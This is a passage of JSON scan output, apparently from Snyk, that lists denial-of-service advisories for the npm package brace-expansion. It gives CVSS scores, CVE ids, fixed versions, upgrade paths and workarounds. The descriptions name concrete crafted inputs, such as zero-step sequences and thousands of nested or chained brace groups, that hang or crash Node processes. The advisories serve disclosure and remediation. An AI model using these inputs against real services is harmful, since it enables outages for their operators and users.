"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
